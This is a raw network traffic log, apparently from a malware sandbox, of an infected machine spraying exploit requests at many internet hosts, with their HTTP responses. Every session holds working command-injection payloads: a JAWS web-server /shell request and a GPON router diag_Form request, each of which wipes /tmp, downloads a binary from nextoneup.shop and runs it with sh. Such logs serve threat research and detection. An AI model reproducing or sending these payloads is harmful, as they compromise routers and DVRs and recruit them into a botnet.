Apr 14, 2024 04:01:23.045814991 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:23.416450024 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:23 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1606	192.168.2.23	53714	37.105.139.35	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:24.734441042 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1607	192.168.2.23	34180	37.14.223.201	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:24.734477043 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1608	192.168.2.23	33466	148.203.117.152	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:24.734532118 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1609	192.168.2.23	40044	123.69.60.230	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:24.734590054 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1610	192.168.2.23	46814	202.174.11.123	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:24.734621048 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1611	192.168.2.23	45682	37.142.110.142	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:24.734682083 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1612	192.168.2.23	57370	117.127.117.143	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:24.734765053 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1613	192.168.2.23	35226	202.70.65.16	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:24.734827995 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1614	192.168.2.23	47554	67.240.82.253	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:25.630778074 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:25.921952009 CEST	206	IN	HTTP/1.1 307 Temporary Redirect Location: /0.1/gui/?item=shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Date: Sun, 14 Apr 2024 02:01:27 GMT Server: HTTP Server

Session ID	Source IP	Source Port	Destination IP	Destination Port
1615	192.168.2.23	60832	61.67.79.83	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:25.690018892 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:27.295682907 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:29.215374947 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:33.246903896 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:40.925713062 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:56.283555031 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1616	192.168.2.23	45030	38.239.34.103	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:25.693754911 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1617	192.168.2.23	57816	156.242.40.85	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:25.699213982 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1618	192.168.2.23	43454	156.240.226.46	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:25.703505039 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1619	192.168.2.23	47022	103.191.164.100	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:25.768634081 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:26.163525105 CEST	1107	IN	HTTP/1.1 200 OK Server: nginx/1.22.0 Date: Sun, 14 Apr 2024 02:01:25 GMT Content-Type: text/html Content-Length: 807 Connection: close ETag: "661b38b0-327" Cache-Control: no-cache, no-store, must-revalidate Expires: 0 Pragma: no-cache Last-Modified: -1 Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 61 2c 20 61 3a 76 69 73 69 74 65 64 2c 20 61 3a 61 63 74 69 76 65 20 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 7d 0d 0a 61 3a 68 6f 76 65 72 20 7b 63 6f 6c 6f 72 3a 23 30 30 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 7d 0d 0a 62 6f 64 79 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 41 39 43 43 41 3b 20 63 6f 6c 6f 72 3a 23 66 66 66 7d 0d 0a 70 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 65 72 64 61 6e 61 2c 61 72 69 61 6c 2c 68 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 0d 0a 3c 74 69 74 6c 65 3e 50 6c 65 61 73 65 20 77 61 69 74 2c 20 74 68 65 20 6c 6f 67 69 6e 20 70 61 67 65 20 69 73 20 6f 70 65 6e 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 70 3e 0d 0a 50 6c 65 61 73 65 20 77 61 69 74 2c 20 74 68 65 20 6c 6f 67 69 6e 20 70 61 67 65 20 69 73 20 6f 70 65 6e 69 6e 67 20 69 6e 20 32 20 73 65 63 6f 6e 64 73 2e 2e 2e 3c 62 72 20 2f 3e 3c 62 72 20 2f 3e 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 31 30 2e 32 35 34 2e 32 35 34 2e 31 30 2f 30 2f 75 70 2f 22 3e 49 66 20 69 74 20 64 6f 65 73 20 6e 6f 74 20 6f 70 65 6e 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 2c 20 70 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 2e 3c 2f 61 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 73 65 74 54 69 6d 65 6f 75 74 28 22 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 3d 27 68 74 74 70 3a 2f 2f 31 30 2e 32 35 34 2e 32 35 34 2e 31 30 2f 30 2f 75 70 2f 27 3b 22 2c 35 30 30 29 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><style type="text/css">a, a:visited, a:active {color:#fff; font-size:24px;}a:hover {color:#000; font-size:24px;}body {background-color:#5A9CCA; color:#fff}p {font-family:verdana,arial,helvetica,sans; font-size:32px; text-align:center}</style><title>Please wait, the login page is opening...</title></head><body><p>Please wait, the login page is opening in 2 seconds...<br /><br /><a href="http://10.254.254.10/0/up/">If it does not open automatically, please click here.</a><script type="text/javascript">setTimeout("window.location='http://10.254.254.10/0/up/';",500);</script></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1620	192.168.2.23	49600	18.164.128.114	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:25.925833941 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:26.158499002 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:26 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1621	192.168.2.23	46092	157.241.63.139	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:26.323110104 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:26.741362095 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:01:26 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1622	192.168.2.23	34230	23.48.27.79	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:26.690700054 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:26.920449972 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:26 GMT Date: Sun, 14 Apr 2024 02:01:26 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 62 31 31 32 38 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 38 36 26 23 34 36 3b 32 31 38 30 33 36 35 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 62 62 31 31 32 38 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 38 36 26 23 34 36 3b 32 31 38 30 33 36 35 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.bb112817.1713060086.2180365<P>https://errors.edgesuite.net/9.bb112817.1713060086.2180365</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1623	192.168.2.23	43752	195.201.18.35	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:26.801703930 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:27.140019894 CEST	672	IN	HTTP/1.1 302 Found Date: Sun, 14 Apr 2024 02:01:26 GMT Server: Apache/2.4.41 (Ubuntu) Location: https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 347 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 38 30 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws">here</a>.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1624	192.168.2.23	56262	167.99.70.187	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:26.804805994 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
